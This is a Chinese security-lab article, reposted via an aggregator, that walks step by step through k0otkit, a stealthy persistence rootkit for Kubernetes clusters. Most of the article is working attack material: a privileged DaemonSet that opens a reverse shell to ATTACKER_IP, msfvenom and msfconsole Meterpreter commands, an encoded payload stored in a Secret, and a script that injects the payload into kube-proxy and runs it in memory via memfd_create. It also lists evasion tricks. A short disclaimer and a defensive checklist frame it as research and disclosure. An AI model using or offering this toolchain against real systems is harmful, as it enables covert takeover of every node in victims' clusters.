8

k0otkit: Hack K8s in a K8s Way

 3 years ago
source link: https://mp.weixin.qq.com/s/H48WNRRtlJil9uLt-O9asw
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

简介

本文涉及到的技术仅供教学、研究使用,禁止用于非法用途。

2020 年的倒数第二天,我们在 CIS 网络安全创新大会 [1] 上跟大家分享了一种针对 Kubernetes 集群的通用后渗透控制技术(简称 k0otkit[2] ),利用 Kubernetes 自身特性、动态容器注入、无文件攻击等技术,在容器逃逸后实现对集群所有节点(无论集群规模大小)的快速、隐蔽、持续控制,同时还介绍了针对这种技术的防御和检测方法。

k0otkit 的名称来自 Kubernetes rootkit 。从该名称不难看出,我们希望 k0otkit 成为 “Kubernetes 集群内的 rootkit” k0otkit 的新颖点在于:

  1.   快速、隐蔽、持续实现对 Kubernetes 集群所有节点的控制。

  2. 因地制宜:利用多个 Kubernetes 自身特性( DaemonSet Secret 资源, kube-proxy 镜像等)。

  3. 应用动态容器注入技术,极大提高隐蔽性。

  4. 应用无文件攻击技术,从内存发起攻击,全程不落地。

  5. 无限制条件,几乎适用于所有 Kubernetes 集群。

优秀的矛才能激发出优秀的盾,安全正是在一轮轮的攻防对抗中不断得到强化。本文将对 k0otkit 进行详细介绍,引导大家发掘云原生攻防的更多可能。

本文首先向大家介绍 Kubernetes 环境下的一般渗透过程,然后从 k0otkit 最初的基本思路开始,依次介绍基本功能和为实现更强隐蔽性和可用性的多次迭代,最后从攻击者和防守者两个不同的角度作总结。

Kubernetes环境下的一般渗透过程

Kubernetes ,简称为 K8s ,是一个开源的容器化应用自动部署、伸缩和管理平台,已经成为容器编排的事实标准。

一个 Kubernetes 集群包含若干台服务器。其中,用于运行容器化应用的服务器被称为工作节点( worker node );用于运行控制平面( control plane )组件的服务器被称为控制节点或主节点( master node )。在计算资源充足的情况下,工作节点和控制节点并不重合,控制平面组件只运行在控制节点上,业务容器运行在工作节点上,以满足高可用的需求;然而,为了达到充分利用服务器资源的目的(或单节点集群的情况),有时也会允许控制节点上运行业务容器。

在针对传统主机环境的渗透测试中,我们通常以 Web 服务为突破口,成功获得 Webshell 后,还可能会进行权限提升和横向移动,最后,可能会对目标实施权限维持。如果目标位于域内,我们通常会尝试拿下域控制器,从而实现事半功倍的效果。 Kubernetes 集群与域环境在一定程度上具有相似性。

我们曾在《针对容器的渗透测试方法》 [3] 一文中介绍了针对容器的一些渗透测试思路和方法。结合一般的渗透过程,我们还可以梳理出一个针对 Kubernetes 的渗透测试流程:

VfueQrV.png!mobile

同样,渗透测试以 Web 服务为突破口;拿到 shell 后执行命令来查看自己当前的权限,如果当前用户权限较低,可能需要考虑进行本地提权;在这个过程中可能会发现目标环境与传统主机环境存在差异,进而探明目标是一个容器,甚至位于 Kubernetes 内;为了扩大战果,会考虑进行容器逃逸;逃逸成功后,如果确定目标是一个 Kubernetes 集群,还可能会考虑对集群中每个节点实施控制;最后,将访问通道和权限隐蔽持久化。

然而,如果顺利进入到后渗透阶段,渗透测试人员很可能会遇到下面这样的场景:

ZN3euuv.png!mobile

什么意思呢?在真实场景中,一个 Kubernetes 集群可能由几个、几十个甚至更多节点组成。为了实现控制整个集群每个节点这一目标,难道要对所有这些节点一一进行渗透吗?前面我们说 Kubernetes 集群与域环境类似,那么在 Kubernetes 中能否通过类似拿下域控制器的方式一举完成对整个集群的控制呢?

这当然是可以的。前文提到, Kubernetes 控制平面组件通常运行在控制节点上;另外,对容器逃逸的研究 [4] 告诉我们,容器逃逸后通常能够获得容器所在宿主机上的 root 权限。将这两点结合起来我们会发现,如果前期进行 Web 渗透的目标容器位于控制节点上,且成功从容器中逃逸,那么我们实际上能够凭借控制节点上的 Kubernetes 管理员凭证( kubeconfig )与 Kubernetes API Server 进行交互(甚至可以直接使用控制节点上的 kubectl 命令行工具)。

在这个场景中,我们是能够通过自动化的方式完成对整个集群所有节点的持续控制的。具体如何来做呢?这便是本文的主角 ——k0otkit 的任务了。此时的渗透路线如下图所示:

BZ7bMnQ.png!mobile

接下来,我们就一起来看看 k0otkit 是如何完成对集群的快速、隐蔽、持续控制的。感兴趣的读者可以从 Github 上获得一份源码,跟着我们后面的思路,一起来研究。仓库地址:

https://github.com/brant-ruan/k0otkit

基本思路

因地制宜才能卓有成效,而且往往事半功倍。因此,既然已经取得了 Kubernetes 集群的管理员凭证,我们自然希望能够借助 Kubernetes 本身的诸多特性去控制集群。毕竟, Kubernetes 基于 Google 15 年的生产经验发展而来,同时结合了来自社区的思考和实践 [5] ,如果能够为渗透测试者所用,其效果一定很棒。

接触过 Kubernetes 的朋友们应该知道, Kubernetes 内有一种叫做 DaemonSet 的资源,它能够确保全部(或者某些)节点上运行一个 Pod 的副本。当有节点加入集群时,也会为它们新增一个 Pod ;当有节点从集群移除时,这些 Pod 也会被回收 [6]

DaemonSet 对于渗透测试者很有价值,因为:

1.   它能够确保所有节点(包括新增节点)上都运行一个 Pod

2.   如果有 Pod 退出, DaemonSet 将在对应节点上自动重建一个 Pod

那么,如果把 DaemonSet 和反弹 shell 结合起来呢?如果利用管理员凭证在目标集群内创建一个内容为反弹 shell DaemonSet ,我们就能够实现集群所有节点自动化反弹 shell 了。

基本功能实现

明确了基本思路 —— DaemonSet 和反弹 shell 结合起来,怎么结合呢?很简单,将 DaemonSet 创建的 Pod 的启动命令设置为反弹 shell 即可。

然而,仅仅有一个反弹 shell 是不够的,反弹回来的还是 Pod 容器内的 shell ,我们无法借助这个 shell 控制容器所在节点。回忆一下容器的基本概念 —— 它是一种轻量级的虚拟化技术,实质是对进程从多个维度上进行隔离。那么,只要除去这些隔离,容器内进程就和宿主机上的进程没有太多差别了。具体来说,我们希望:

1.   容器是特权的(相当于 docker run 的时候带了 --privileged 选项)。

2.   容器与宿主机共享网络和 PID 命名空间(打破命名空间隔离)。

3.    容器内挂载宿主机根目录(打破文件系统隔离)。

将以上思路实现为 YAML 资源声明文件,内容如下:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: attacker
spec:
selector:
matchLabels:
app: attacker
template:
metadata:
labels:
app: attacker
spec:
hostNetwork: true
hostPID: true
containers:
- name: main
image: bash
imagePullPolicy: IfNotPresent
command: ["bash"]
# reverse shell
args: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory

利用容器逃逸后的 shell 在目标控制节点上将上述内容保存为 k0otkiit.yaml 并执行:

kubectl apply -f k0otkit.yaml

至此,我们完成了 DaemonSet 资源的创建,集群内每个节点将有一个恶意 Pod 出现,并向我们的攻击者机器反弹 shell 。利用这些 shell ,我们能够实现对任意节点的控制。

迭代一:删除敏感词

前面的基础版本能够实现预期功能 —— 对集群中任意节点的快速控制,但是存在很多问题。首先,它太容易暴露了,管理员只需要执行一个简单的查看操作,就会发现异常资源:

kubectl get pods

接下来,我们将进行一系列的优化迭代,以提高 k0otkit 的隐蔽性和可用性。

首先,我们考虑将 DaemonSet 资源创建在 kube-system 系统命名空间下。这样一来,管理员执行前述命令将无法看到异常资源。在运行良好的 Kubernetes 集群内,查看 kube-system 命名空间资源状态的需求也是很少的,这就提高了隐蔽性:

metadata:
name: attacker
namespace: kube-system
# ......

另外,我们也考虑将所有敏感词 —— DaemonSet 的名称和标签 —— 替换为不那么容易引起怀疑的名词,例如 kube-cache kube-metrics 等,将前面 YAML 文件中的所有敏感词都用看起来正常的名词替换。

至此, k0otkit 的隐蔽性得到一些提升。

迭代二:替换Shell为Meterpreter

目前为止,我们采用的是基于 Bash TCP 协议反弹 shell

bash -i >&/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1

很明显,反弹 shell 是明文的,可以被网络入侵检测系统轻易检测到,从而触发告警。因此,我们考虑将反弹 shell 流量加密。

如何做呢?当然可以自己编写加密的反弹 shell 程序,也可以使用现成的。这里我们使用 Metasploit 项目中的 Meterpreter[7] 替换原来的 Bash 反弹 shell ,因为 Meterpreter 的流量是加密的。使用 Meterpreter 还有一个好处 —— 我们能够使用 msfconsole 作为反弹 shell 的监听端,可以通过配置选项实现持续监听功能。这样一来,一旦由于操作不当等原因不小心退出了一个反弹 shell ,对应 Pod 将运行结束, DaemonSet 监测到 Pod 退出,将自动在相同节点上重建一个新 Pod ,我们就能够在 msfconsole 中重新收获一个反弹 shell ,可用性大大提高。

具体来说,我们首先用 msfvenom 生成一个反弹 shell 二进制文件 mrt

msfvenom -plinux/x86/meterpreter/reverse_tcp LPORT=$ATTACKER_PORT LHOST=$ATTACKER_IP -felf -o mrt

然后以该二进制文件 mrt 为启动命令,构建一个容器镜像 malicious image ,确保目标集群中每一个节点都能够访问该镜像仓库 URL ,然后在 迭代一 基础上对 DaemonSet 资源的 YAML 文件稍作修改,使用 malicious image 镜像作为 Pod 内容器的创建模板,并设置启动命令为 /mrt

接着,在反弹 shell 监听机器上启动 msfconsole 开启监听,其中 set ExisOnSession 实现持续监听功能:

msfconsole -x "use exploit/multi/handler; set payload linux/x86/meterpreter/reverse_tcp;set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; run -jz"

最后,与前面一致,在目标控制节点上 kubectl apply 创建 DaemonSet 资源。

至此,我们成功使用 Meterpreter 替换了 Bash 反弹 shell ,实现了流量加密和自动重连功能。

迭代三:无文件化

在前面一系列的优化过程中,大家可能会发现两个问题:

1.    需要在目标控制节点上先创建一个本地 YAML 文件。

2.    需要以二进制程序 mrt 为启动命令构建容器镜像。

为什么说是问题呢?在本地创建 YAML 文件可能会引起文件监控系统的告警;围绕二进制 Meterpreter 构建镜像则要么动静太大(在目标机器上直接构建),或者需要拉取外部恶意镜像(先构建好上传到公开仓库),容易触发镜像检查系统(如果有的话)的告警。

针对第一个问题,我们可以采用 Linux 命令行管道的方式解决。 kubectl 支持使用 -f 选项从标准输入读取文件,再结合经典的 cat/EOF 小技巧,我们得到以下命令模式:

cat << EOF| kubectl apply -f -
# {YAML文件内容}
EOF

我们只需要将原来 DaemonSet YAML 文件填充在 {YAML 文件内容 } 处,然后将以上 cat 开头 EOF 结尾的所有内容复制到目标控制节点上执行,就能够实现 DaemonSet 资源的创建,不必先在目标控制节点上创建 YAML 文件。

针对第二个问题,不去构建新镜像,我们的思路是将二进制 Meterpreter 编码为可见字符串,以环境变量的形式放在 DaemonSet YAML 文件中。容器运行起来后,从环境变量中读取字符串并解码保存为二进制文件,然后再执行即可。

这就涉及到各种常见 Linux 命令行工具的配合使用了。首先是将 msfvenom 生成的 Meterpreter 进行编码:

TEMP_MRT=mrt
msfvenom -p linux/x86/meterpreter/reverse_tcpLPORT=$ATTACKER_PORT LHOST=$ATTACKER_IP -f elf -o $TEMP_MRT &> /dev/null
PAYLOAD=$(hexdump -v -e '16/1 "_x%02X""\n"' $TEMP_MRT | sed 's/_/\\/g; s/\\x //g' | tr -d '\n' | base64 -w 0)

这样一来, Meterpreter 就被编码为一个长字符串。然后将上面 PAYLOAD 变量的内容填充在 DaemonSet YAML 中的 {PAYLOAD_VALUE} 部分即可:

# ......
containers:
- name: main
image: bash
imagePullPolicy: IfNotPresent
command: ["bash"]
args: ["-c", "echo -ne $(echo $PAYLOAD | base64 -d) > mrt; chmod u+x mrt; ./mrt"]
env:
- name: PAYLOAD
value: "{PAYLOAD_VALUE}"
# .....

容器运行后, Meterpreter 将会被解码并保存为容器内 /mrt 文件,然后被执行。

至此,两个问题解决, k0otkit 的隐蔽性得到进一步的提高。

迭代四:分离Payload

迭代三部分,我们确实成功完成了 Meterpreter 的编码和解码过程,但是也引入了新的问题: Meterpreter 编码后的字符串过长,放在 DaemonSet YAML 内很容易被当作异常。例如,下面是笔者实验环境编码后的 Meterpreter 字符串:

XHg3Rlx4NDVceDRDXHg0Nlx4MDFceDAxXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDJceDAwXHgwM1x4MDBceDAxXHgwMFx4MDBceDAwXHg1NFx4ODBceDA0XHgwOFx4MzRceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MzRceDAwXHgyMFx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4ODBceDA0XHgwOFx4MDBceDgwXHgwNFx4MDhceENGXHgwMFx4MDBceDAwXHg0QVx4MDFceDAwXHgwMFx4MDdceDAwXHgwMFx4MDBceDAwXHgxMFx4MDBceDAwXHg2QVx4MEFceDVFXHgzMVx4REJceEY3XHhFM1x4NTNceDQzXHg1M1x4NkFceDAyXHhCMFx4NjZceDg5XHhFMVx4Q0RceDgwXHg5N1x4NUJceDY4XHhDMFx4QThceDEzXHhGM1x4NjhceDAyXHgwMFx4MTFceDVDXHg4OVx4RTFceDZBXHg2Nlx4NThceDUwXHg1MVx4NTdceDg5XHhFMVx4NDNceENEXHg4MFx4ODVceEMwXHg3OVx4MTlceDRFXHg3NFx4M0RceDY4XHhBMlx4MDBceDAwXHgwMFx4NThceDZBXHgwMFx4NkFceDA1XHg4OVx4RTNceDMxXHhDOVx4Q0RceDgwXHg4NVx4QzBceDc5XHhCRFx4RUJceDI3XHhCMlx4MDdceEI5XHgwMFx4MTBceDAwXHgwMFx4ODlceEUzXHhDMVx4RUJceDBDXHhDMVx4RTNceDBDXHhCMFx4N0RceENEXHg4MFx4ODVceEMwXHg3OFx4MTBceDVCXHg4OVx4RTFceDk5XHhCMlx4NkFceEIwXHgwM1x4Q0RceDgwXHg4NVx4QzBceDc4XHgwMlx4RkZceEUxXHhCOFx4MDFceDAwXHgwMFx4MDBceEJCXH

这么长的字符串放在 YAML 内是不合适的。如何解决呢?前面说因地制宜,我们就以其人之道,还治其人之身 Kubernetes 内有一类名为 Secret 的资源, Service Account Token 正是以 Secret 形式存在。 Secret 本身就用来存储各种敏感信息,其内容通常是一个或多个很长的字符串,在容器内部引用时自动进行 Base64 解码。

了解了这些,前面的问题也就有了解决方法。我们创建一个新的 Secret 资源,将编码后的 Meterpreter 存放在其中,从 DaemonSet YAML 中分离出去,这样就降低了 DaemonSet 的异常性。创建方法也很简单,将前面的编码字符串填充到下面命令中的 {PAYLOAD_VALUE_BASE64} 处即可:

secret_name=proxy-cache
secret_data_name=content
cat << EOF | kubectl --kubeconfig/root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name:$secret_name
namespace:kube-system
type: Opaque
data:
$secret_data_name: {PAYLOAD_VALUE_BASE64}
EOF

另外,我们还需要修改 DaemonSet YAML ,将上述 Secret 以环境变量形式加载到容器内部,与迭代三保持一致性。此过程较为简单,不再赘述。

迭代五:动态容器注入

事实上,前面所有的优化都没有关注到一个问题:如果管理员真的去查看 kube-system 命名空间下的资源, k0otkit 将直接暴露。如何能将 k0otkit DaemonSet 隐藏起来呢?

在传统主机攻防中,有一种技术叫做进程注入。这里,我们提出一种动态容器注入技术,直接将恶意容器注入到集群中已有的 DaemonSet 中,这样就不必创建新的 DaemonSet 资源了。

这一技术实际需要回答三个问题:

1.   向哪里注入?

2.   注入什么?

3.   怎样注入?

第一个问题关系到这种技术的普适性。我们希望能够找到每个集群中一定会存在的 DaemonSet ,这样就不必考虑目标环境的具体情况了。符合普遍存在特征的通常是系统组件,经过调研,我们发现 kube-system 命名空间下的 kube-proxy DaemonSet 是一个非常好的注入对象。

第二个问题比较好回答。对于我们来说, k0otkit 最小的执行单位是容器。因此,我们希望能够将 k0otkit 容器注入到 kube-proxy DaemonSet 定义的 Pod 中。

现在只剩下第三个问题。在 Kubernetes 内,一切资源都是被声明出来的。那么,我们可以通过修改已运行的 kube-proxy DaemonSet YAML 声明文件来实现容器注入。

简单来说,为了实现容器注入,我们需要完成三个步骤:

一、获取 kube-proxy DaemonSet YAML 内容,对应操作如下:

kubectl get daemonset kube-proxy -n kube-system -o yaml

二、动态修改上述 YAML Pod 的定义部分,在 spec.template.spec.containers 内加入 k0otkit 反弹 shell 恶意容器的声明语句。本步骤较为复杂,主要思路是先根据关键词在 YAML 内查找到插入点的行号,然后利用 sed 工具将迭代四最后的 DaemonSet YAML spec.template.spec.containers spec.template.spec.volumes 部分插入到指定行后。具体流程可参考 k0otkit 的源代码。

三、用修改后的 YAML 替代系统内现运行的 kube-proxy DaemonSet ,对应操作如下:

| kubectl replace -f -

完成动态容器注入后,无论是查看 DaemonSet 资源:

zyYRJ36.png!mobile

还是查看 Pod 资源:

Z7byuyv.png!mobile

都看不到恶意容器了。它实际上就在上图中 kube-proxy-vtttf pod 内,从 READY 的容器数还是可以看出差异的,但是这一点差异是很难被发现的。

至此, k0otkit 的隐蔽性得到极大提升。

迭代六:解决镜像依赖

在功能不受损的情况下, k0otkit 的隐蔽性和可用性已经得到许多提高。然而,我们还没有考虑一个重要问题:镜像。前面的所有过程中,我们使用的都是 bash 镜像,但真实环境是复杂多样的:

   如果目标环境没有 bash 镜像呢?

   如果目标环境不允许从外部拉取镜像呢?

   如果目标环境有镜像黑白名单呢?

   如果目标环境对镜像拉取操作和流量有所监控呢?

   ......

所以,还是因地制宜。我们希望能够找到任何集群中必定存在的镜像,利用它。在迭代五中,我们已经发现集群中一定存在 kube-proxy DaemonSet ,那么理论上来说,集群中每个节点上都应该存在 kube-proxy 依赖的镜像,事实也正是如此。

好了,目标确定,但我们怎么利用 kube-proxy 镜像呢?经过探索,我们发现 kube-proxy 镜像内有 echo perl ,后者是一个编程语言解释器,可以做的事情太多了。

例如,我们可以使用以下命令作为容器的启动命令,完成对 Meterpreter 的解码和执行:

echo $payload | perl -e 'print pack "H*", <STDIN>' > $binary_file; chmod u+x $binary_file; $binary_file

至此, k0otkit 不必依赖任何外部镜像了,隐蔽性和可用性提高。

迭代七:无文件攻击

回过头来看, k0otkit 渐渐从基础走向成熟。然而,我们还希望它更优秀一些。可以发现,从 k0otkit 开始执行到 Meterpreter 解码,整个过程是没有文件落地的,可以绕过可能存在的文件系统监控。然而,最后将解码后的 Meterpreter 保存在容器内再执行这个操作却导致前面的一切功亏一篑。能否将这一步也变成无文件攻击,从而实现全程无文件化呢?

答案是可以的。

最近无文件攻击技术( fileless attack )比较火,但是它本身并不是什么深奥的概念。 Linux 平台上一种典型的无文件攻击手段是使用 memfd_create 系统调用创建一个内存文件 ”[8] ,然后向该文件中填充二进制文件内容,最后执行这个内存文件。听起来很简单,但是结合实际,我们还要考虑两个问题:

1.   容器内是否允许调用 memfd_create

2.   如果允许,怎么调用 memfd_create

迭代六中提到, kube-proxy 镜像中提供了 perl ,我们可以使用它来发起系统调用,第二个问题解决。至于第一个问题, Docker 以白名单的形式规定了默认情况下容器内可以执行的系统调用, memfd_create 恰在其中 [9]

理论上可行,我们来具体实现一下,将 Meterpreter 的解码和执行过程改写如下:

echo $payload | perl -e 'my $n=qq(); my $fd=syscall(319, $n, 1); open($FH, qq(>&=).$fd);select((select(($FH), $|=1)[0]); print $FH pack q/H*/,  <STDIN>; my $pid = fork(); if (0 !=$pid) {wait}; if (0 == $pid){system(qq(/proc/$$/fd/$fd))}'

至此, k0otkit 的整个执行过程实现了无文件化。此时 k0otkit 的核心代码如下:

# 名称定义
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
# 获取各插入点行号
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# 创建Meterpreter secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
$secret_data_name: PAYLOAD_VALUE_BASE64
EOF
# 动态容器注入
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
| kubectl replace -f -

经测试, k0otkit 能够实现对 Kubernetes 集群的快速、隐蔽、持续控制。测试样例见 Github 仓库 [10]

总结

1 攻击者角度 

从攻击者的角度来看, k0otkit 利用了多种技术和天然优势:

1.    DaemonSet Secret 资源(快速持续反弹、资源分离)

2.   kube-proxy 镜像(就地取材)

3.   动态容器注入(高隐蔽性)

4.Meterpreter (流量加密、持续反弹)

5.   无文件攻击(高隐蔽性)

2 防守者角度 

从防守者的角度来看,如何防御和检测 k0otkit 呢?我们认为主要有以下几点:

1. 设置 Pod 安全策略,禁止容器内 root 权限

2.   设置 Pod 安全策略,限制容器内 capabilities 和系统调用能力

3.   实时监控 kube-system 命名空间资源,避免灯下黑

4.   实时检测容器内进程异常行为,及时告警 + 处置异常容器

5.   针对无文件攻击的特征(如 memfd_create )进行检测

6. 实时检测容器异常流量,及时阻断

7. 一旦发现,及时删除 k0otkit ,修复入侵路径所涉漏洞,做好安全更新

参考文献

1.   https://cis.freebuf.com/?id=65

2.   https://github.com/brant-ruan/k0otkit

3.https://mp.weixin.qq.com/s?subscene=19&__biz=MzIyODYzNTU2OA==&mid=2247487590&idx=1&sn=060a8bdf2ddfaff6ceae5cb931cb27ab&chksm=e84fb6b9df383faf1723040a0d6f0300c9517db902ef0010e230d8e802b1dfe9d8b95e6aabbd

4.   https://mp.weixin.qq.com/s/_GwGS0cVRmuWEetwMesauQ

5.https://kubernetes.io

6.   https://kubernetes.io/zh/docs/concepts/workloads/controllers/daemonset/

7.   https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

8.https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html

9.   https://docs.docker.com/engine/security/seccomp/

10.   https://github.com/brant-ruan/k0otkit#example

往期回顾

  未能幸免!安全容器也存在逃逸风险

  容器环境相关的内核漏洞缓解技术

  云原生环境渗透相关工具考察

  针对容器的渗透测试方法

  Istio 访问授权再曝高危漏洞

  容器逃逸技术概览

  容器逃逸成真:从 CTF 解题到 CVE-2019-5736 漏洞挖掘分析

关于星云实验室

星云实验室专注于云计算安全、解决方案研究与虚拟化网络安全问题研究。基于IaaS环境的安全防护,利用SDN/NFV等新技术和新理念,提出了软件定义安全的云安全防护体系。承担并完成多个国家、省、市以及行业重点单位创新研究课题,已成功孵化落地绿盟科技云安全解决方案。

内容编辑:星云实验室 阮博男     责任编辑:王星凯

本公众号原创文章仅代表作者观点,不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权,严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用,转载须注明来自绿盟科技研究通讯并附上本文链接。

关于我们

绿盟科技研究通讯由绿盟科技创新中心负责运营,绿盟科技创新中心是绿盟科技的前沿技术研究部门。包括云安全实验室、安全大数据分析实验室和物联网安全实验室。团队成员由来自清华、北大、哈工大、中科院、北邮等多所重点院校的博士和硕士组成。

绿盟科技创新中心作为“中关村科技园区海淀园博士后工作站分站”的重要培养单位之一,与清华大学进行博士后联合培养,科研成果已涵盖各类国家课题项目、国家专利、国家标准、高水平学术论文、出版专业书籍等。

我们持续探索信息安全领域的前沿学术方向,从实践出发,结合公司资源和先进技术,实现概念级的原型系统,进而交付产品线孵化产品并创造巨大的经济价值。

byYbYzU.jpg!mobile

长按上方二维码,即可关注我们


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK